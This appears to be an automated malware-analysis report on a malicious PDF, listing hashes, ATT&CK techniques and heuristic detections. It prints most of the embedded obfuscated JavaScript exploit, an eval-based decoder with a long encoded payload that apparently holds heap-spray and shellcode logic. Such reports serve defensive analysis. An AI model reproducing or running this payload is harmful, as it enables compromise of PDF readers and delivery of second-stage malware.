PDF malware analysis — malicious · 1df5a27d1ac7591b

MALICIOUS

PDF

26.7 KB Created: 2006-02-01 14:14:12 Authoring application: Wegoptyr (via HghTc6Fs) First seen: 2026-05-08

MD5: 55bc8cc780b910d0a880ebb796328e20 SHA-1: 915d35606ff02b1f36f81e9309d61cc55bc5504b SHA-256: 1df5a27d1ac7591b588ab47de007aee90844426402d580160da56608fd43b362

166 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1059.007 JavaScript

The PDF file contains embedded JavaScript, with one stream being heavily obfuscated and containing an eval() call. This indicates an attempt to execute arbitrary code. The obfuscated JavaScript is likely responsible for downloading and executing a second-stage payload. The presence of multiple JavaScript streams and the use of eval() are strong indicators of malicious intent.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

Mupsyi="ret"+"ur"+WMohaqooN+bqRRtFrWV+"ri"+UjgdTqyaFW+lzKx4tILk+"rom"+"Ch"+"ar"+gzAJL3WVT+"e"+"((((c = c.qxFSP7XLNYBv(0)) & XLvAmwJY) - 52) %26 + (c & ZLBsQ7Py) + CJGP);";
s = "26 134 113 130 48 128 113 137 124 127 113 116 48 77 48 133 126 117 131 115 113 128 117 56 50 53 133 64 81 64 81 53 133 64 81 64 81 53 133 64 81 64 81 50 59 50 53 133 85 65 84 73 53 133 67 68 84 73 53 133 69 72 66 68 53 133 69 72 69 72 53 133 67 67 69 72 53 133 82 67 84 82 53 133 64 67 65 83 53 133 67 65 83 67 53 133 70 70 83 73 53 133 85 73 72 65 53 133 86 81 70 69 53 133 67 64 72 64 53 133 68 64 66 65 53 133 86 81 85 66 53 133 65 71 83 73 53 133 66 65 66 66 53 133 68 73 66 65 53 133 64 65  …
var gFkPP6bi0E="f";var npKancD="or ";var rHR91sKMkOXZ="(i=";var Yu9Ug7g8CmC="0;";var AZx4IZVn=" ";var DUv7dlseR8x="i<s";var J4zdgR0f5cz="len";var Neojrcjbl="h; ";var rHjnUh2="i";var drJA3sL="+";var ZlwD3P8w="{ ";var GBG4v7qZT="p";var xNcYZJd0Xlhs=" +=";var d1rD4ylvbhG=" S";var xW1mCsa="ng.";var l9h2LASu3Q="f";var rNI78ZL="ro";var Vpd9dxEu4k="har";var SiQUyDHdeclI="Cod";var z22BA2bfDu="e";var Ny1yTnUCqc="(s[";var cIu6nkoD="i]";var exHBckaGPNc="-";

Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1EE	26204 bytes
SHA-256: `433d72b726c6ae20c81ada8a90659f33a27866c214b86065949f5a7ec397f05d`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 eval/decoder/string-building token(s). 24 of 35 identifiers look randomly generated (e.g. 'xNcYZJd0Xlhs') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script var ENJ7ziu="A"; qxFSP7XLNYBv = "cha"+"r"+"C"+"ode"+ENJ7ziu; XLvAmwJY = 223; ZLBsQ7Py = 32; lWXli = eval;CJGP = 65; var WMohaqooN="n";var bqRRtFrWV=" St";var UjgdTqyaFW="ng.";var lzKx4tILk="f";var gzAJL3WVT="Cod"; Mupsyi="ret"+"ur"+WMohaqooN+bqRRtFrWV+"ri"+UjgdTqyaFW+lzKx4tILk+"rom"+"Ch"+"ar"+gzAJL3WVT+"e"+"((((c = c.qxFSP7XLNYBv(0)) & XLvAmwJY) - 52) %26 + (c & ZLBsQ7Py) + CJGP);"; s = "26 134 113 130 48 128 113 137 124 127 113 116 48 77 48 133 126 117 131 115 113 128 117 56 50 53 133 64 81 64 81 53 133 64 81 64 81 53 133 64 81 64 81 50 59 50 53 133 85 65 84 73 53 133 67 68 84 73 53 133 69 72 66 68 53 133 69 72 69 72 53 133 67 67 69 72 53 133 82 67 84 82 53 133 64 67 65 83 53 133 67 65 83 67 53 133 70 70 83 73 53 133 85 73 72 65 53 133 86 81 70 69 53 133 67 64 72 64 53 133 68 64 66 65 53 133 86 81 85 66 53 133 65 71 83 73 53 133 66 65 66 66 53 133 68 73 66 65 53 133 64 65 66 65 53 133 66 65 66 65 53 133 66 65 68 82 53 133 86 65 84 85 53 133 66 65 73 72 53 133 66 65 67 65 53 133 81 81 66 65 53 133 83 81 84 73 53 133 71 86 66 68 53 133 72 69 84 66 53 133 86 65 84 85 53 133 84 71 83 73 53 133 84 85 84 85 53 133 83 73 84 85 53 133 66 66 65 83 53 133 66 65 66 65 53 133 84 73 81 81 53 133 65 73 83 73 53 133 66 65 66 65 53 133 83 73 66 65 53 133 66 64 70 83 53 133 66 65 66 65 53 133 70 71 83 73 53 133 66 65 66 65 53 133 83 73 66 65 53 133 66 66 86 81 53 133 66 65 66 65 53 133 84 73 81 81 53 133 64 67 83 73 53 133 66 65 66 65 53 133 83 73 66 65 53 133 66 64 70 69 53 133 66 65 66 65 53 133 65 65 83 73 53 133 66 65 66 65 53 133 83 73 66 65 53 133 66 66 81 72 53 133 66 65 66 65 53 133 84 73 81 81 53 133 66 84 83 73 53 133 66 65 66 65 53 133 83 73 66 65 53 133 66 64 68 64 53 133 66 65 66 65 53 133 67 82 83 73 53 133 66 65 66 65 53 133 83 81 66 65 53 133 71 66 71 73 53 133 86 84 81 81 53 133 68 82 71 66 53 133 68 73 70 65 53 133 67 65 66 65 53 133 66 65 66 65 53 133 83 73 71 70 53 133 66 67 73 64 53 133 66 65 66 65 53 133 83 68 83 73 53 133 66 65 66 65 53 133 71 73 66 65 53 133 71 66 85 66 53 133 86 84 81 81 53 133 68 82 71 66 53 133 68 73 64 65 53 133 67 65 66 65 53 133 66 65 66 65 53 133 83 73 71 70 53 133 66 67 82 72 53 133 66 65 66 65 53 133 85 83 83 73 53 133 66 65 66 65 53 133 71 73 66 65 53 133 71 70 85 66 53 133 65 84 83 73 53 133 66 65 66 69 53 133 81 81 66 65 53 133 65 66 84 73 53 133 70 72 85 72 53 133 85 65 65 66 53 133 85 66 73 65 53 133 84 67 84 84 53 133 81 83 72 86 53 133 84 85 70 70 53 133 85 66 71 85 53 133 65 86 71 81 53 133 66 70 85 71 53 133 65 86 73 73 53 133 71 85 81 72 53 133 68 71 66 64 53 133 85 70 65 86 53 133 66 68 70 70 53 133 83 65 84 85 53 133 83 72 85 66 53 133 66 69 82 68 53 133 66 65 66 65 53 133 81 64 71 81 53 133 67 69 83 84 53 133 66 65 66 64 53 133 81 81 66 65 53 133 65 86 86 69 53 133 66 67 85 70 53 133 68 83 68 66 53 133 64 65 68 69 53 133 85 70 65 86 53 133 66 69 70 67 53 133 68 66 64 85 53 133 64 67 64 65 53 133 85 67 81 66 53 133 65 66 66 73 53 133 71 65 85 65 53 133 68 73 71 65 53 133 66 64 66 69 53 133 66 65 66 65 53 133 71 66 71 67 53 133 83 73 71 65 53 133 66 66 85 64 53 133 66 65 66 65 53 133 86 65 84 85 53 133 84 84 81 81 53 133 85 70 81 81 53 133 85 65 81 66 53 133 65 86 66 73 53 133 67 73 81 82 53 133 86 81 81 69 53 133 66 66 69 69 53 133 83 81 70 65 53 133 65 86 84 71 53 133 66 65 85 71 53 133 65 66 64 67 53 133 65 86 86 67 53 133 71 65 81 73 53 133 81 66 66 64 53 133 71 69 83 84 53 133 85 65 65 66 53 133 86 81 65 66 53 133 85 84 81 81 53 133 84 73 81 66 53 133 69 83 71 69 53 133 65 86 66 72 53 133 67 84 81 72 53 133 81 66 66 64 53 133 66 69 85 65 53 133 84 67 83 81 53 133 85 84 81 81 53 133 86 72 81 81 53 133 85 66 81 66 53 133 65 66 67 65 53 133 65 86 85 65 53 133 70 66 85 70 53 133 66 64 64 84 53 133 66 65 66 65 53 133 71 64 66 65 53 133 71 65 71 66 53 133 71 65 71 65 53 133 71 65 71 65 53 133 71 70 71 65 53 133 83 73 71 65 53 133 66 66 65 72 53 133 66 65 66 65 53 133 67 72 83 73 53 133 66 65 66 65 53 133 68 69 66 65 53 133 66 69 72 64 53 133 66 65 66 65 53 133 81 83 66 65 53 133 68 65 72 65 53 133 84 85 84 85 53 133 83 73 84 85 53 133 66 66 65 70 53 133 66 65 66 65 53 133 86 81 65 66 53 133 71 66 71 66 53 133 71 66 71 66 53 133 86 65 84 85 53 133 65 73 81 65 53 133 81 65 83 73 53 133 83 72 65 73 53 133 66 85 69 68 53 133 69 73 81 64 53 133 82 65 66 68 53 133 82 65 82 65 53 133 69 69 82 65 53 133 71 68 66 71 53 133 83 84 81 81 53 133 70 65 81 83 53 133 84 85 66 68 53 133 83 73 83 65 53 133 84 85 64 86 53 133 84 85 84 85 53 133 83 73 85 66 53 133 84 85 64 73 53 133 84 85 84 85 53 133 67 64 73 73 53 133 66 69 66 64 53 133 85 67 81 65 53 133 66 65 66 84 53 133 67 81 83 73 53 133 84 85 84 85 53 133 65 66 84 85 53 133 71 65 85 65 53 133 83 73 71 69 53 133 66 65 71 69 53 133 66 65 66 65 53 133 83 73 71 65 53 133 66 67 81 81 53 133 66 65 66 65 53 133 86 65 84 85 53 133 81 65 65 71 53 133 64 69 65 84 53 133 69 70 66 65 53 133 83 73 66 82 53 133 66 67 70 64 53 133 66 65 66 65 53 133 84 85 65 66 53 133 84 85 71 70 53 133 83 73 86 65 53 133 66 64 84 81 53 133 66 65 66 65 53 133 84 85 68 73 53 133 66 65 66 65 53 133 84 85 66 65 53 133 83 73 86 65 53 133 84 86 83 73 53 133 84 85 84 85 53 133 71 70 71 66 53 133 65 66 71 71 53 133 71 65 85 65 53 133 83 73 71 69 53 133 66 65 67 86 53 133 66 65 66 65 53 133 83 73 71 65 53 133 66 67 71 68 53 133 66 65 66 65 53 133 86 65 84 85 53 133 81 65 65 71 53 133 64 69 65 84 53 133 69 70 66 65 53 133 83 73 66 82 53 133 66 67 66 81 53 133 66 65 66 65 53 133 84 85 65 66 53 133 84 85 71 70 53 133 71 73 86 65 53 133 71 85 71 86 53 133 85 66 71 81 53 133 66 67 83 81 53 133 85 66 71 73 53 133 84 72 83 73 53 133 84 85 84 85 53 133 71 71 84 85 53 133 81 66 71 70 53 133 66 73 83 84 53 133 84 84 81 81 53 133 66 73 68 82 53 133 65 86 71 70 53 133 69 70 84 85 53 133 83 73 67 69 53 133 66 67 71 83 53 133 66 65 66 65 53 133 86 65 84 85 53 133 84 84 81 81 53 133 68 64 68 73 53 133 68 68 68 83 53 133 68 73 66 65 53 133 70 68 70 72 53 133 69 67 70 71 53 133 84 69 81 81 53 133 66 73 73 72 53 133 66 65 66 65 53 133 84 66 66 65 53 133 69 68 72 71 53 133 68 82 64 85 53 133 65 86 66 65 53 133 69 69 84 85 53 133 64 65 64 69 53 133 64 69 83 73 53 133 66 65 66 67 53 133 84 85 66 65 53 133 81 81 86 65 53 133 83 73 84 73 53 133 66 64 85 81 53 133 66 65 66 65 53 133 86 65 84 85 53 133 84 73 65 81 53 133 66 73 69 69 53 133 81 81 65 71 53 133 64 69 70 69 53 133 65 86 64 65 53 133 66 65 84 85 53 133 84 85 65 86 53 133 64 69 69 69 53 133 83 73 67 84 53 133 66 64 83 85 53 133 66 65 66 65 53 133 86 65 84 85 53 133 85 69 81 66 53 133 71 85 67 65 53 133 73 73 71 86 53 133 66 65 66 64 53 133 66 65 66 65 53 133 68 73 85 66 53 133 68 86 68 85 53 133 66 65 66 65 53 133 69 68 68 73 53 133 68 84 69 67 53 133 83 81 68 83 53 133 81 83 67 68 53 133 64 69 70 69 53 133 71 65 66 69 53 133 64 67 83 73 53 133 84 85 84 86 53 133 71 65 84 85 53 133 70 82 83 73 53 133 66 65 66 67 53 133 83 72 66 65 53 133 84 86 83 67 53 133 84 85 84 85 53 133 83 71 83 73 53 133 84 85 84 85 53 133 81 66 84 85 53 133 66 73 85 69 53 133 68 82 85 66 53 133 68 73 68 84 53 133 69 69 68 86 53 133 68 84 68 69 53 133 67 68 83 81 53 133 70 69 81 83 53 133 66 69 64 69 53 133 83 73 71 65 53 133 84 83 84 81 53 133 84 85 84 85 53 133 83 73 71 65 53 133 66 67 64 66 53 133 66 65 66 65 53 133 73 81 83 72 53 133 84 85 84 86 53 133 83 73 84 85 53 133 84 85 83 71 53 133 84 85 84 85 53 133 85 69 81 66 53 133 85 66 66 73 53 133 65 66 68 73 53 133 66 65 65 67 53 133 68 73 66 65 53 133 69 66 69 68 53 133 69 67 68 68 53 133 67 68 83 81 53 133 70 69 81 83 53 133 66 69 64 69 53 133 83 73 71 65 53 133 84 83 86 64 53 133 84 85 84 85 53 133 83 73 71 65 53 133 66 64 84 72 53 133 66 65 66 65 53 133 82 64 83 72 53 133 84 85 84 86 53 133 83 73 84 85 53 133 84 85 83 71 53 133 84 85 84 85 53 133 85 69 81 66 53 133 85 66 66 73 53 133 68 66 68 73 53 133 69 70 69 71 53 133 68 73 66 65 53 133 68 73 69 66 53 133 68 85 68 69 53 133 67 68 83 81 53 133 70 69 81 83 53 133 66 69 64 69 53 133 83 73 71 65 53 133 84 83 72 70 53 133 84 85 84 85 53 133 83 73 71 65 53 133 66 64 85 85 53 133 66 65 66 65 53 133 68 70 83 72 53 133 84 85 84 86 53 133 83 73 84 85 53 133 84 85 83 71 53 133 84 85 84 85 53 133 85 69 81 66 53 133 85 66 66 73 53 133 69 71 68 73 53 133 69 73 68 70 53 133 83 81 66 65 53 133 81 83 67 68 53 133 64 69 70 69 53 133 71 65 66 69 53 133 81 67 83 73 53 133 84 85 84 83 53 133 71 65 84 85 53 133 72 82 83 73 53 133 66 65 66 64 53 133 83 72 66 65 53 133 84 86 70 67 53 133 84 85 84 85 53 133 83 71 83 73 53 133 84 85 84 85 53 133 81 66 84 85 53 133 66 69 85 69 53 133 83 73 85 66 53 133 66 64 72 81 53 133 66 65 66 65 53 133 67 81 68 73 53 133 70 71 85 71 53 133 71 65 69 72 53 133 85 71 83 73 53 133 66 65 66 64 53 133 81 66 66 65 53 133 66 73 85 69 53 133 83 73 85 66 53 133 66 64 82 70 53 133 66 65 66 65 53 133 83 84 68 73 53 133 66 66 82 70 53 133 71 65 66 84 53 133 73 67 83 73 53 133 66 65 66 64 53 133 81 66 66 65 53 133 66 73 85 69 53 133 83 73 85 66 53 133 66 64 81 66 53 133 66 65 66 65 53 133 72 82 68 73 53 133 66 83 84 84 53 133 71 65 69 84 53 133 82 86 83 73 53 133 66 65 66 64 53 133 81 66 66 65 53 133 66 73 85 69 53 133 83 73 85 66 53 133 66 64 68 85 53 133 66 65 66 65 53 133 83 83 68 73 53 133 83 85 71 71 53 133 71 65 65 71 53 133 81 82 83 73 53 133 66 65 66 64 53 133 81 66 66 65 53 133 66 73 85 69 53 133 83 73 85 66 53 133 66 64 71 81 53 133 66 65 66 65 53 133 84 65 68 73 53 133 66 69 81 82 53 133 71 65 71 85 53 133 69 71 83 73 53 133 66 65 66 64 53 133 81 66 66 65 53 133 66 73 85 69 53 133 83 73 85 66 53 133 84 86 84 70 53 133 84 85 84 85 53 133 69 73 68 73 53 133 86 81 68 73 53 133 71 65 67 84 53 133 68 67 83 73 53 133 66 65 66 64 53 133 81 66 66 65 53 133 66 73 85 69 53 133 83 73 85 66 53 133 66 64 65 66 53 133 66 65 66 65 53 133 83 85 68 73 53 133 83 65 85 86 53 133 71 65 68 65 53 133 70 86 83 73 53 133 66 65 66 64 53 133 81 66 66 65 53 133 66 73 85 69 53 133 83 73 85 66 53 133 66 64 67 85 53 133 66 65 66 65 53 133 73 65 68 73 53 133 64 83 70 72 53 133 71 65 86 81 53 133 65 82 83 73 53 133 66 65 66 64 53 133 81 66 66 65 53 133 66 73 85 69 53 133 83 73 85 66 53 133 84 85 65 71 53 133 84 85 84 85 53 133 72 81 68 73 53 133 82 81 71 86 53 133 71 65 67 86 53 133 64 71 83 73 53 133 66 65 66 64 53 133 81 66 66 65 53 133 66 73 85 69 53 133 83 73 85 66 53 133 84 86 72 70 53 133 84 85 84 85 53 133 71 72 68 73 53 133 81 64 82 70 53 133 71 65 66 67 53 133 67 67 83 73 53 133 66 65 66 64 53 133 81 66 66 65 53 133 66 73 85 69 53 133 83 73 85 66 53 133 66 65 83 66 53 133 66 65 66 65 53 133 69 86 68 73 53 133 83 67 86 73 53 133 71 65 69 66 53 133 84 86 83 73 53 133 66 65 66 65 53 133 81 66 66 65 53 133 66 73 85 69 53 133 83 73 85 66 53 133 66 65 85 85 53 133 66 65 66 65 53 133 82 86 68 73 53 133 73 81 84 72 53 133 71 65 65 68 53 133 83 82 83 73 53 133 66 65 66 65 53 133 81 66 66 65 53 133 66 73 85 69 53 133 83 73 85 66 53 133 84 86 82 67 53 133 84 85 84 85 53 133 71 70 68 73 53 133 73 68 72 65 53 133 71 65 73 81 53 133 86 71 83 73 53 133 66 65 66 65 53 133 81 66 66 65 53 133 66 73 85 69 53 133 83 73 85 66 53 133 84 86 69 86 53 133 84 85 84 85 53 133 67 82 68 73 53 133 67 86 69 82 53 133 71 65 66 67 53 133 85 67 83 73 53 133 66 65 66 65 53 133 81 66 66 65 53 133 66 73 85 69 53 133 83 73 85 66 53 133 84 86 68 82 53 133 84 85 84 85 53 133 83 65 68 73 53 133 65 65 71 81 53 133 71 65 82 69 53 133 72 86 83 73 53 133 66 65 66 65 53 133 81 66 66 65 53 133 66 73 85 69 53 133 83 73 85 66 53 133 84 86 71 71 53 133 84 85 84 85 53 133 82 70 68 73 53 133 83 67 85 72 53 133 71 65 72 66 53 133 82 82 83 73 53 133 66 65 66 65 53 133 81 66 66 65 53 133 66 73 85 69 53 133 83 73 85 66 53 133 84 86 70 67 53 133 84 85 84 85 53 133 68 73 68 73 53 133 85 68 64 69 53 133 71 65 73 66 53 133 81 71 83 73 53 133 66 65 66 65 53 133 81 66 66 65 53 133 66 73 85 69 53 133 83 73 85 66 53 133 66 65 71 70 53 133 66 65 66 65 53 133 69 67 68 73 53 133 73 66 84 86 53 133 71 65 67 71 53 133 69 67 83 73 53 133 66 65 66 65 53 133 81 66 66 65 53 133 66 73 85 69 53 133 83 73 85 66 53 133 84 86 70 69 53 133 84 85 84 85 53 133 67 66 83 81 53 133 68 68 68 82 53 133 83 73 71 65 53 133 84 81 84 70 53 133 84 85 84 85 53 133 83 73 71 65 53 133 84 86 72 81 53 133 84 85 84 85 53 133 73 70 83 72 53 133 84 85 84 84 53 133 83 73 84 85 53 133 84 85 83 73 53 133 84 85 84 85 53 133 83 73 85 66 53 133 84 83 72 72 53 133 84 85 84 85 53 133 70 85 68 73 53 133 70 85 83 85 53 133 71 65 66 68 53 133 65 86 83 73 53 133 66 65 66 65 53 133 81 66 66 65 53 133 66 73 85 69 53 133 83 73 85 66 53 133 66 65 66 85 53 133 66 65 66 65 53 133 81 86 68 73 53 133 66 86 70 86 53 133 71 65 83 84 53 133 64 82 83 73 53 133 66 65 66 65 53 133 81 66 66 65 53 133 66 73 85 69 53 133 65 66 85 66 53 133 68 69 85 65 53 133 70 65 81 81 53 133 81 68 65 65 53 133 69 73 85 65 53 133 65 86 67 65 53 133 70 65 81 81 53 133 65 86 66 84 53 133 69 65 81 81 53 133 72 83 67 84 53 133 81 81 65 86 53 133 66 73 70 65 53 133 83 81 85 66 53 133 65 86 66 81 53 133 70 65 81 81 53 133 81 66 65 69 53 133 69 84 85 65 53 133 81 81 65 86 53 133 65 84 70 65 53 133 68 65 85 66 53 133 81 81 65 71 53 133 64 69 68 84 53 133 65 71 64 69 53 133 70 68 81 81 53 133 65 71 65 84 53 133 71 69 81 81 53 133 69 73 66 68 53 133 86 68 66 66 53 133 81 81 65 86 53 133 67 73 70 82 53 133 81 81 65 86 53 133 64 65 71 82 53 133 86 83 66 66 53 133 65 81 83 66 53 133 65 86 70 72 53 133 65 69 81 81 53 133 66 66 81 81 53 133 65 66 84 68 53 133 65 66 84 85 53 133 84 84 85 65 53 133 81 69 72 84 53 133 69 69 85 65 53 133 85 64 66 70 53 133 66 83 85 85 53 133 84 73 66 66 53 133 84 69 83 81 53 133 65 81 65 71 53 133 64 69 69 84 53 133 69 68 64 73 53 133 65 86 86 85 53 133 71 82 81 81 53 133 66 66 64 69 53 133 68 71 86 83 53 133 81 81 65 86 53 133 70 81 66 84 53 133 81 81 65 86 53 133 67 84 71 82 53 133 86 83 66 66 53 133 81 81 65 86 53 133 81 81 66 69 53 133 85 68 66 66 53 133 81 72 65 71 53 133 64 69 70 69 53 133 68 64 67 84 53 133 83 73 85 66 53 133 84 81 68 71 53 133 84 85 84 85 53 133 69 69 68 73 53 133 69 65 69 69 53 133 64 85 65 82 53 133 68 67 64 85 53 133 68 86 68 85 53 133 69 69 69 66 53 133 68 68 69 67 53 133 68 66 64 86 53 133 68 83 68 85 53 133 69 65 64 85 53 133 68 66 68 72 53 133 69 68 64 85 53 133 68 64 69 82 53 133 69 65 64 86 53 133 69 65 68 73 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 66 65 66 65 53 133 64 64 66 65 50 57 75 26 63 63 61 61 61 61 61 61 61 26 134 113 130 48 125 117 125 127 130 137 75 26 118 133 126 115 132 121 127 126 48 94 117 135 111 99 115 130 121 128 132 56 128 113 137 124 127 113 116 57 26 139 26 63 63 134 113 130 48 128 113 137 124 127 113 116 75 26 63 63 121 118 56 113 116 127 114 117 73 57 63 63 113 116 127 114 117 48 130 117 113 116 117 130 48 72 48 135 127 130 123 131 48 113 124 131 127 48 135 121 132 120 48 113 128 128 62 131 117 132 100 121 125 117 95 133 132 79 26 63 63 134 113 130 48 131 132 113 130 132 135 121 132 120 48 77 48 113 128 128 62 113 124 117 130 132 56 55 88 121 55 57 75 63 63 130 117 129 133 121 130 117 116 48 118 127 130 48 113 116 127 114 117 73 26 48 134 113 130 48 126 127 128 48 77 48 133 126 117 131 115 113 128 117 56 50 108 53 133 73 64 73 64 108 53 133 73 64 73 64 50 57 75 48 63 63 124 127 126 119 48 126 127 128 48 135 121 124 124 48 113 124 131 127 48 118 127 130 115 117 48 132 120 117 48 113 116 116 130 117 131 131 48 132 127 48 119 127 48 132 127 48 64 136 73 64 73 64 73 64 73 64 48 131 127 48 66 48 131 132 117 128 131 48 121 126 48 127 126 117 48 75 57 26 48 134 113 130 48 131 120 117 124 124 115 127 116 117 48 77 48 128 113 137 124 127 113 116 75 26 48 135 120 121 124 117 56 126 127 128 62 124 117 126 119 132 120 48 76 77 48 64 136 65 64 64 64 64 64 63 66 57 48 126 127 128 59 77 126 127 128 75 26 48 126 127 128 77 126 127 128 62 131 133 114 131 132 130 121 126 119 56 64 60 64 136 65 64 64 64 64 64 63 66 48 61 48 131 120 117 124 124 115 127 116 117 62 124 117 126 119 132 120 57 75 26 48 125 117 125 127 130 137 77 126 117 135 48 81 130 130 113 137 56 57 75 26 48 118 127 130 56 121 77 64 75 121 76 64 136 70 118 118 64 75 121 59 59 57 48 63 63 135 117 48 131 120 127 133 124 116 48 113 132 48 124 117 113 131 132 48 127 134 117 130 135 130 121 132 117 48 64 136 73 64 73 64 73 64 73 64 26 48 139 125 117 125 127 130 137 107 121 109 77 126 127 128 48 59 48 131 120 117 124 124 115 127 116 117 75 141 26 63 63 131 132 113 130 132 48 117 136 128 124 127 121 132 48 126 127 135 26 131 132 113 130 132 56 57 75 26 118 133 126 115 132 121 127 126 48 131 132 113 130 132 66 56 57 26 139 26 48 132 120 121 131 62 119 117 132 81 126 126 127 132 131 56 61 65 67 68 66 65 71 71 66 72 60 61 65 67 68 66 65 71 71 66 72 60 61 65 67 68 66 65 71 71 66 72 60 61 65 67 68 66 65 71 71 66 72 57 75 26 141 26 118 133 126 115 132 121 127 126 48 131 132 113 130 132 56 57 26 139 26 132 120 121 131 62 131 128 117 124 124 62 115 133 131 132 127 125 84 121 115 132 121 127 126 113 130 137 95 128 117 126 56 64 60 126 127 128 57 75 63 63 131 127 48 132 120 117 48 117 136 128 124 127 121 132 48 122 133 125 128 131 48 113 115 132 133 113 124 124 137 48 132 127 48 64 136 73 64 73 64 73 64 73 64 62 48 96 124 113 115 117 48 113 48 134 117 130 137 48 124 127 126 119 48 55 81 81 81 81 55 48 113 132 48 132 120 117 48 131 117 115 127 126 116 48 128 113 130 113 125 48 132 127 48 119 127 48 132 127 48 64 136 68 65 68 65 68 65 68 65 48 75 57 26 141 26 141 26 63 63 61 61 61 61 61 61 61 26 134 113 130 48 113 130 130 137 48 77 48 126 117 135 48 81 130 130 113 137 56 57 75 26 118 133 126 115 132 121 127 126 48 118 121 136 111 121 132 56 137 113 130 131 128 60 48 124 117 126 57 26 139 48 26 135 120 121 124 117 48 56 137 113 130 131 128 62 124 117 126 119 132 120 58 66 76 124 117 126 57 139 137 113 130 131 128 48 59 77 48 137 113 130 131 128 75 141 48 26 137 113 130 131 128 48 77 48 137 113 130 131 128 62 131 133 114 131 132 130 121 126 119 56 64 60 124 117 126 63 66 57 75 26 130 117 132 133 130 126 48 137 113 130 131 128 75 48 26 141 26 134 113 130 48 134 117 130 131 121 127 126 48 77 48 113 128 128 62 134 121 117 135 117 130 102 117 130 131 121 127 126 75 26 121 118 48 56 134 117 130 131 121 127 126 48 78 48 72 57 48 26 139 26 134 113 130 48 128 113 137 124 127 113 116 75 26 126 127 128 48 77 48 133 126 117 131 115 113 128 117 56 50 53 133 64 81 64 81 53 133 64 81 64 81 53 133 64 81 64 81 53 133 64 81 64 81 50 57 26 120 117 113 128 114 124 127 115 123 48 77 48 126 127 128 48 59 48 128 113 137 124 127 113 116 75 26 114 121 119 114 124 127 115 123 48 77 48 133 126 117 131 115 113 128 117 56 50 53 133 64 81 64 81 53 133 64 81 64 81 50 57 75 26 120 117 113 116 117 130 131 121 138 117 48 77 48 66 64 75 26 131 128 130 113 137 48 77 48 120 117 113 116 117 130 131 121 138 117 59 120 117 113 128 114 124 127 115 123 62 124 117 126 119 132 120 75 26 135 120 121 124 117 48 56 114 121 119 114 124 127 115 123 62 124 117 126 119 132 120 76 131 128 130 113 137 57 48 114 121 119 114 124 127 115 123 59 77 114 121 119 114 124 127 115 123 75 26 118 121 124 124 114 124 127 115 123 48 77 48 114 121 119 114 124 127 115 123 62 131 133 114 131 132 130 121 126 119 56 64 60 48 131 128 130 113 137 57 75 26 114 124 127 115 123 48 77 48 114 121 119 114 124 127 115 123 62 131 133 114 131 132 130 121 126 119 56 64 60 48 114 121 119 114 124 127 115 123 62 124 117 126 119 132 120 61 131 128 130 113 137 57 75 26 135 120 121 124 117 56 114 124 127 115 123 62 124 117 126 119 132 120 59 131 128 130 113 137 48 76 48 64 136 68 64 64 64 64 57 48 114 124 127 115 123 48 77 48 114 124 127 115 123 59 114 124 127 115 123 59 118 121 124 124 114 124 127 115 123 75 26 125 117 125 48 77 48 126 117 135 48 81 130 130 113 137 56 57 75 26 48 118 127 130 48 56 121 77 64 75 121 76 65 68 64 64 75 121 59 59 57 48 125 117 125 107 121 109 48 77 48 114 124 127 115 123 48 59 48 120 117 113 128 114 124 127 115 123 75 26 134 113 130 48 126 133 125 48 77 48 65 66 73 73 73 73 73 73 73 73 73 73 73 73 73 73 73 73 73 73 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 